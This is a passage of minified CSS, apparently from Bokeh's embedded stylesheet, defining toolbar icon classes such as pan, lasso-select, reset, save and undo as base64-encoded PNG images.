mMfCUCUAqtKXU7sumd1CowOuJEi3Pg1FBpjitIGhyvVSfvmjci6ZR+rFQfDiPVE2jFYeICQ+PoewwjC5h7CZld6DBdyu6nDSKgzOyIMhmhK5TTqXYbRorZYM46TmpKAAOrGWwSJJekSB1yqJNOzp1Gs7YJ0EDeySDIMtJbQHh6Kf/uFfNFZkolJICRmz0P8DKWZuIG2g1hpok+Mk0Qphs0h9lzMtWRoNvYLuVImUWrmPJDlBKeRBDfATGOpHkhw670QSHWGLLckmF1PTsMlYqMJpyUbiO0weiMMceqLVTcotnMCYAYJJbcuQrVgZFP0NOOJYpr62pf3AmrHfWUG4O7abefGAfwH7EXSMJafOlYAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-lasso-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgwlGP1qdAAABMBJREFUWMO9V1uIVVUY/r61z57ZMx4DnbzgkbQXL5iCJphlWdpIGY4jpFBkEiU9ZNaDRRcITcIwMwgxoQtU2IMXdAZfMjFvpERXYiSbysyBEXFmyuHMnLP32uvrwT2xnY5nxvHQ93Jg7fWv71/r//7L4a59TRgqJk+Z6v3a+sv0OI5nk5wu6VaSVZImAThHsgjgrKTvM5nMUWvtmf5n8HodCIKgOgzDhc65pSTrJQWDsSNpJX1ljHnDOfdT37oZLLHv+8OMMasKhcIJ59xHAJYMlhwAJGUAzJfUTHLFuFzOG5QDU6dNMyQfs9Yedc5tBpAD4IYYNQGoBrDtQnt7/b0LFrJsCHzfn2itfQfAnZLiazytA3AaQAuAiwDaEgeNpGkkswAWSBqRONB38b88z5uTKePt6iiKXkk8jq+iJC5LOmiMaTLGHLPWhmWeHr7vV0dRtATAapAzIVmSo51zyzIlbm2stesFPA6pKk0r6Ryg93y/ek8YFvPOOTg3cDSiKCoC2OP7/rEoirYm4rUkF12lAWNM1lr7lqQn0+QA8gI2jBg5cj6Aj8OwmB+KAKIoukhyp6SRJAUgl0ndPLDWPi9pJQCbuviXvu+/GIZhW1dnJ24UJFuTjCCA2ADA8sYGWmsXS3qmL94kDYAtkh4Nw7ANlQJ5U6INT1KrAYC9zQdykl7nFSj5fXp5Y8NWVBhy7mUAjqShMYdMXV2dJ2klyRwAJ8lIeuGWCRMP7N7frEqSG2OmAFhKshNAp5wrmO7u7jEAngPQm1S2z2pqapr+OPt7XEly0oxwzq2RdFmSD2AMgKKJouhhAL4kA+Cs53l7e3t7uytJHgRBreTWkXwkKVJnJD0B4GAGwIJE9R6AFufc6UqSZ7PZbD6ff5dkA4CQZEHSqwAOISmXtwGIE+F1SeqqIP8d+Xz+C0mLJYWSAODteXffczjdDQNJ0BWMCoLg5gqIbRTJNwHsljQhUb0luWPM2LE7Thw/9m/5NCT/TByxAOYWi8X6/gdWV1dnfN8fNRBxJpMZTXKdc+6IpFVJWAEgkvSJpA0X2tvtVTaSjgOYBCAEEADYSHK87/sfhmEYA9gShuEDkgzJHyWtB/B1irQ2juP7ADxkrX0wOUOpzmdpzEY590HJ7Ni1r2kSyZOSiv2+hSRjSTXp/QAukzySNJOJkmalyNIl10hqMcasdc61XDNcQRD8BnITgNp+36r6kfcNFMMlLQGwTNLMEuQGQBfJl2bdPru+HDkAZAqFQux53jZHEsC6aw0eg2gylNRBcqcx5v04ji999+03AwsWAOI4Lsy9a94WkisAnE5a5WCJYwCfA1g7LJudI2lTHMeXBm1faiQzxkyRtF3S5CTupeAB+KG2tnZFT0/P30NO2VKLzrmfAbwGMipjG5Oc0dPTc0Md05SZ5U4Q2FxChErtEYD7jTGNQ3UgM8Asv90Yc9I5LSKRlXSI5CxJa0jWSALJjKRnAewfkniT+vwf7N7fXHK9rq7O7+jo+BTA/NRrdBpjnnLOnUrvXd7YMPQXSBunneno6IhIHgYwW1JtkgmBpBkATlVMAwOk3nFJ+VSoqgCMr6gIy2FcLtdKspAedyQN/98caDt/3kpyabUmf8WvG/8A1vODTBVE/0MAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-pan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4lKssI9gAAAOtJREFUWMPVll0KwyAMgNPgoc0JzDX2Mtgp3csKErSamGabIEUo/T6bHz0ezxdsjPJ5kvUDaROem7VJAp3gufkbtwtI+JYEOsHNEugIN0mgM1wtsVoF1MnyKtZHZBW4DVxoMh6jaAW0MTfnBAbALyUwCD6UwEB4VyJN4FXx4aqUAACgFLjzrsRP9AECAP4Cm88QtJeJrGivdeNdPpko+j1H7XzUB+6WYHmo4eDk4wj41XFMEfBZGXpK0F/eB+QhVcXslVo7i6eANjF5NYSojCN7wi05MJNgbfKiMaPZA75TBVKCrWWbnGrb3DPePZ9Bcbe/QecAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-xpan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4X4hxZdgAAAMpJREFUWMPtlsEKwjAMhr/pwOOedINJe/PobWXCfAIvgo/nA4heOiilZQqN2yE5lpD/I38SWt3uD9aMHSuHAiiAAmwaYCqoM/0KMABtQYDW11wEaHyiEei28bWb8LGOkk5C4iEEgE11YBQWDyHGuAMD0CeS30IQPfACbC3o+Vd2bOIOWMCtoO1mC+ap3CfmoCokFs/SZd6E0ILjnzrhvFbyEJ2FIZzXyB6iZ3AkjITn8WOdSbbAoaD4NSW+tIZdQYBOPyQKoAAKkIsPv0se4A/1UC0AAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-ypan{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4anK0lywAAAMVJREFUWMPtlzEKwzAMRX/S7rlpIMXeOnaLaME36FLo8XqCdNFghGljyc4kgQi2Q/SUj0F/eL7eMMTKz6j9wNlYPGRrFcSoLH4XxQPvdQeYuPOlcLbw2dRTgqvoXEaolWM0aP4LYm0NkHYWzyFSSwlmzjw2sR6OvAXNwgEcwAEcwAEcwAEcoGYk20SiMCHlmVoCzACoojEqjHBmCeJOCOo1lgPA7Q8E8TvdjMmHuzsV3NFD4w+1t+Ai/gTx3qHuOFqdMQB8ASMwJX0IEHOeAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-range{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABCJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDx0aWZmOkNvbXByZXNzaW9uPjU8L3RpZmY6Q29tcHJlc3Npb24+CiAgICAgICAgIDx0aWZmOlhSZXNvbHV0aW9uPjcyPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjMyPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT4xPC9leGlmOkNvbG9yU3BhY2U+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4zMjwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgICAgIDxkYzpzdWJqZWN0PgogICAgICAgICAgICA8cmRmOkJhZy8+CiAgICAgICAgIDwvZGM6c3ViamVjdD4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTgtMDQtMjhUMTQ6MDQ6NDk8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1wOkNyZWF0b3JUb29sPlBpeGVsbWF0b3IgMy43PC94bXA6Q3JlYXRvclRvb2w+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgrsrWBhAAAD60lEQVRYCcVWv2scRxSemZ097SHbSeWkcYwwclDhzr1Q5T6QE1LghP6BGNIYJGRWNlaZItiFK1mr+JAu4HQu0kjpU8sgF3ITAsaFg0hOvt2Zyfvmdsa7a610Unx44Zgf773vvfneezPHNzrbhn3CT3xC3wPXYOC8LDzqdi8YY/gwh4BeknS/2th6dr2kf94AOp3OFyWgMyziOPbMDxV9FTtJnl1ut795Xd0/YQ0/vtYQwMT1KXWCfr2IjOWwtNehwN4xL9ykTrm6Pzl58yLn3J+mKh9mXbT3uRjGEDph+O8/TjfP5dBp7Ha7AX7O3o5nZeD/0E/OGyXntDgzA0X6qmCnrVutVlrUWV9f/3xo+pwhGDhvEPHOjoxnZjJggXmMHzBQ7NGNp9vxk61fr0HR7e/u7pZzCGHlc7qwBYYTT7tJYSx1AQzppyFPft5apta9w7SKcn0b7P7+/jCsDQ5mbc0dCmIJGDN0ehdcjsmkm6A6KUeKFOTE11PLxrC7Ukqh3ylL2fT0NAP9q6ur6rRCJJYsbKB0JsbCKMuy+xREePDyxQPCz+Crlw062QcA5wBOOt1l6vIl2WiI9F1fN6Q+BBqit6hEC4Hk08GQJMn4myjSP7RavVxgdaVUh/3U6HCMsPr9pYnJKRziHtWQ+un58+hGs6nsjQSjpuTyKGN3CX+FBwHXSiEVgjP+O8X6N12kIePES+GzTKAkGbNp8yJsGUMVzz8jPKReiyAQRimy5/cjye5RpF8utFp/+nwmT7d/NMzcFkS7yjJNGDaPURQxIQThEQy0SyF4l5WJYYhBa816vZ6dU7A6CAhbZVow/pDe0O9hVOoCi13r4BgBAvJHqMSQL2vE/iH6IAXEwgrRVUmBoRRwnwJQT98xEeVeSUyB4dJ5nwJBKdCFFGRmUCcu7rwIYypCTblaChuNBhWODrman5ub+4v0rMNBt8z6Ezh7GksJQpCbm79cMQE7QBFm/X6f0rjWnv8WRYg/QdbUpwDAEBy8vPyA8rNGzg3a8MiElwiM7dAtRqNoNptjGPM1laVxP9umWEMGLOKhKUOJDtBwDmzsw9fC/CzHr9SGuCTi2LbbKvVtmqXpCjMihBFa79Wrt5fGx9PDzc3fmu32Lf8qFliwU9emKhBSp+kRKn/hu9k1COEDbFdt/BoKWOAkuEbdVYyoIXv8+I/QK9dMHEb1Knb7MHOv8LFFOsjzCVHWOD7Ltn+MXCRF4729vWMDK+p8rLkvwjLg4N4v741m5YuwCI9CvHp1Ha8gFdBoPnQAkGsYYGxxcfEI7QQlFCTGUXwjAz4tWF+EpymOWu7fglE7qsOvrYE6g4+9/x/vhRbMdLOCFgAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-polygon-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjc1OfiVKAAAAe1JREFUWMPt1r9rU1EUB/DPK0XbqphFHETo4OCiFhwF0V1KHbRSROLqon+AUMVRRFBwEbRFMBiV+mMW/wIxi5OD1kERRVKRJHUwLvfBTZrU5OWBGXLgQu7Jfe98z/ec7z0vKa88b2q1BDtRHdAPBaylm1NzsxsOjPnPNt6WSWprbft+/c3I3zOAjhT1Y4+fvcjEQJIXnVECSa+AhqIHqlHH5lWCZoe+Gk4GRgDG86j9SAUdlDBSQaZhlOkuHyoVdJmsw98D1S5fM4NYM1LCpqM+Lwa240oLgmZzpVZvzKT75VLZcqksSZKWlQeAy/iORVwIvh31xvotvK7VG3Px4aWHj3Jl4C2uYSvq+Bn8v6LLbaVWb9zsBiKLCvbiNG7gLm7jAYqbPHMJMziZ9lsKoh8GtqCEVVzHftwJn+TFHp4/hg8BSCYVfMOZoPEv2NZGdy9WCGUr9toDR3E2/H4V6nwRe/BmgN65H1ZhvMuB3XiKIyFoGefwO6ysVkUlrNUNsyAK/jli533Q+Y8cJFvAeXyMS1CI/jiMr/gUtD2LQwMGr4R3p7bY3oQHQ5b38CT4D2AXXg6YcQXHpyYnlqKsi5iOAVSwL9zd7zJ09r+Cpwq72omFMazjT9Dnibym0dTkRDUKrrgwH7MwXVyYB38BstaGDfLUTsgAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-redo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4itK+dVQAAAaFJREFUWMPt1L1rFFEUBfDfJDaBBSslIFjbaSFp1FJQFMVCHkzhKIqdUYOCoBgErVz8rCwiTDMwBCIKipDWyip/gxAIWAmBgBC0eYFh2Gx2l9lFcA5M8e59782Zc84dWrT435Hs1siLchqn43MS0zgW22vYxjesYjVLw3YjBPKinMUTBOwf8J5fKLGYpWFjJAJ5Uc7gIW6jM6Kim3iNZ1katgYmEL/6I+YasvY7Lg6iRpIX5VF8wuEe/XV8wGf8jN6LWTiAc7iEQ7ucPZ+lYW0vAtfwvlbfwCKW9gpXDOv1mJvZHiSO91MiyYsyiQSuxtpXXM7SsDmM5nlRdrCMMz3sOJWl4Xevc/vwBzdwAl+yNNwZxfRI+GxelK9ikHcwh8d4NNR/YFRES1ZwoTYdR7I0rNf3TzVNIGbmSvR/Bx08mIgCFSVu4l2ltIWD9WxNGR+W8KOynqnZ0rwCeVG+wa0hjrxtWoF5dAfc28V8Mib/n+Nev5dnabg/zgw87aNEN/bHOwVRiRe4Wym9zNKwMKkpgIWKEt24njxiJlq0aPFv4i9ZWXMSPPhE/QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-reset{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4gWqH8eQAABLdJREFUWMPtlktsVGUUx3/nfvfOlLQaY2IiRRMQIRpI0PjamJhoVASDvNpCpYw1vJQYSVwZwIVQF6wwRHmkAUof9ElrI6VqDAXcID4TF0IiYQMkSlTokNCZ+b7jove2t+NMH7rQBWd3v+989/zP+Z8X3Jb/WGQySvUNTQBJESkNguAVYIWqzhaRhwBU9WcR+QXoymazn6jqzUQiMQSQzWZRVdal1vwzAI2tHQBPOuc2AbWTdOyQ53n7nHNfRwee51GzqoIQMCLDpr3x/tLQ0oZzrk5Vj0/BOEBt+KYuOlBVGlrahr0Wob27t3gEjnZ2AyQzmUwHsDgP6J/AYRE553neDwDOuUdU9QngNeCumK4TkRMhZUORcYC1qysLA6iuSQHIwkWLD6lqapQsuSmwTVV3h99I7EcAR462A2xR2Ilq6ehTaejvO1774kuLNALR33eclsaGsQDe3fYegHl43vyNwEeqGl1963mm2jl7YZRTQ82qlWP4HM6ZToC5ztkW4LHQoALru7s6Di5dvlIj/e6ujrEAWoZDn8hmMjXATMACGaAVuBjXTVVXFc/AxhaA+4zvn1DV+eHxVWPMAmvtb5GeMWZyZVhI2rt7qVy2pOh9U1snwIPW2vMi4oWJuBPYHkVAVScPoKmtkzVVK6cEMsyJraHhiCqJqJUwj/JRz7TW1iSSyR2rVyylqa0Ta+24Ic8vXaAEmDFc/l5Z2A/80OibuVyuz/f9ElUdHCmvw82t5HK5h6y1PYhsz2YyGw43t2KtBZHIGwB6+j4rCkBVUdV7gXrggnPuu8h4eP+xMeZS2D0rJYZ6AdAMzAt1b4nI26p6IFZOY8pugijcKSIHVLUK0LyST4vnrVfnWr3mjmP4QTATaERkXkypRFX3isjmuHdRJEK6Ckqquopp06bdKCkp2Sgi7XnGLcg7gzeutwNIiPYc8HixqIrIOlU9ONVIhHPEd851icgSVXUiskVV94gIqoonIt0i8gfQCfwae38e6BWRXuBZz5jZ8VbaOE4EIqlZVUEQBLlkMplS1QER2RwkEnsSyaREDUzyeNsvIhvCMqkH1kdIJ2o+k8iJB1LVVRfjZ6nqqlEAIbdVQGto8Lrv+/dbawcjAL7vc+6bs+zetetfLSHxniIFGofGGsU2oC7eOCbDfZ7nQawBOSAX74SF9oEPImOq+r7nmVmxb5raukZa8UReGmNmhbMkAwwBH467EYVZe49z7kdgenj8k7V2oTHm8kgdWcvrNdVFjR8cHkYzjDH9wLjDaEwEzpwa4MypgWvAjtjxfGNMj4jMiT+M+kFsZI/Q6Pv+HGNMT8w4wI7TAyevxXVPD5z8+zD64tRXAMHVK1eaVLUyVvuDqroV2BOnJF4ZIedviUidqt4Re9s+vbx8zZXLl7PR2+nl5Tz/zNOFp2FzxzGAklw22wUsLLaSKXwf8vhosZUM6PeDYEUum70VHfpBwKsVyyfeikOP6oBNwN1TrLbfgX3A1kKLzKeff8nLLzw38T5wZDgxn1LnNk5lLRfP26/OnR2hwfNYW2Atn9RCsrf+EECyrKysDFimqhXhyjY3VLkAXBKRDqA7nU6nS0tLhyIj6XSaN9bVclv+l/IXAmkwvZc+jNUAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-save{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4UexUIzAAAAIRJREFUWMNjXLhs5X+GAQRMDAMMWJDYjGhyf7CoIQf8x2H+f0KGM9M7BBio5FNcITo408CoA0YdQM1cwEhtB/ylgqMkCJmFLwrOQguj/xTg50hmkeyARAYGhlNUCIXjDAwM0eREwTUGBgbz0Ww46oBRB4w6YNQBow4YdcCIahP+H5EhAAAH2R8hH3Rg0QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-tap-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2hpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo3NzIwRUFGMDYyMjE2ODExOTdBNUNBNjVEQTY5OTRDRSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpCOTJBQzE0RDQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpCOTJBQzE0QzQ0RDUxMUU0QTE0ODk2NTE1M0M0MkZENCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgTWFjaW50b3NoIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6OTQ0QzIwMUM1RjIxNjgxMUE3QkFFMzhGRjc2NTI3MjgiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6NzcyMEVBRjA2MjIxNjgxMTk3QTVDQTY1REE2OTk0Q0UiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6eYZ88AAADLklEQVR42rSXf2TUYRzHv7tuGcfE6Vwb5zLSSjEj7Y9KWqfEmFZJP+yPMdKKmUrrn0iUfjhWlLFi6YfNrF+StBoTo39iYkTGco4xxxG59P7k/T2PT8/37nu3bx9ezvPj+zyf5/PreS78bGLS8SmrwE6yje3NHJsDBTALpknBz6JhH3NiYAB0gHqPOVv52wJ6QQ48BzdAttTioRJjdeA8mAHHS2xuk3p+M8M16ipVQE49Ds6CiFO9RLjGONf05QLx6wPQaBlbBlPgJVgkP0ETiIJ2sB/E1XfimjfgBOOlKDUqCGOcqBcQnw6BYW5YTo4wbvQhMmCfGRemC2rBiGXzWUb+kM/NRZ6CHWBM9ce5R61NgX6ayhSJ5EPlItlDRNkz4JbFHf06BkSzHjXxM+gDv1S/mPUo2AXWgt9UUHL/IVhS8yUV1/EbV3o4N+NaoE9Fu/i827K5pNYHnqAVJECShWmAaddpscYFFXwR7vnXBRGlnUN/L6kqKJlxnRUuDbaDBiL+vst5d4gpcpBrqk/2jIgCKVUolhntplzivHmwh4stGOPfwBWwl/2dpp8p7xjQZqFLiQJtauKkivYm+kzccpK57yXfOUe+P23JqAnVbhMFmlXntCWnxbT31am9ZJ4BJifsUmNTqt0cYhA5ypympPg7VkEKunPbVb8cIG+0kyHLJZNR7fUMooUKFHAPkfQo58VLK+RzwRDd4FdWG9mjpaAXzqkJa1R7kQttqEABWXMjOOxxVRfnhRm5URX1prk/0pQHwNcKlchZ+jdpC+hFdVqO0my9Hj5dkYgCn1Rfh/KdlNDHrJhPqlDih+IfBd6qwpOgEqYMsorJ2HtWxtagLJDn/W3KRfPOZhoeBJfZPgVeGKeKrkQBh5dLXl25Ny3pc4/1fkTdbvFqFQgbxWeYD0hXulhQ0pYiM1jG547fcbMQpVnHTZEn9W3ljsCzwHxCdVteNHIZvQa7/7cC7nV6zHIfyFP9EXjFa7YxKAVqPP4bxhhoLWW+z9JyCb6M/MREg59/RlmmXbmneIybB+YC/ay+yrffqEddDzwGvKxxDmzhc0tc80XVgblqFfgjwAAPubcGjAOl1wAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-undo{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4em8Dh0gAAAatJREFUWMPt1rFrFFEQBvDfGhACASshkL/ALpWVrSAKEQV5sIULWlgZNSgIFkGIVQ412gkBt1lYLERREFJqJRaW1oHAoZUQsDqwecWy7N3tbe6C4H2wxc682Zn3zTfvLXPM8b8j6RqYF+UCzsfnHBawGt3fMcAX7GEvS8NgKgXkRbmMxwg41TLsN0psZmnodyogL8pFPMIdLHUk7hA7eJKl4U/rAuKu3+HslFr/FZezNPSTFslX8QErDe4DvMVH/Iq9F7VwGpdwZUjsPtaSFjv/1vCBPjaxO0xcNbHejLpZrrlvJCMCT+JzA+2fcC1Lw+GE4l3CG1yIptfjCtiKoqtiJ0vD3aM0Py/K57iIMxgkQxat4EdN7e9xdRzlk+LEEPvDWvIDXJ928sYxjL36icWK+VaWhlezOIqbGFirJd/H7szugrwoX+D2BDEvszSsT5OBdfRaru/F9dPXQF6U27g/KnmWhgctxqyzBrZGMNGL/rHI0nDkKXiKexXTsywNGx0OnFbFNk3BRoWJXnw//j+ivCi32/S8CxPVNiWOAdUiJtXITIqYY45/Cn8B2D97FYW2H+IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-wheel-pan{background-image:url(\\\\\\\"data:image/png;base64,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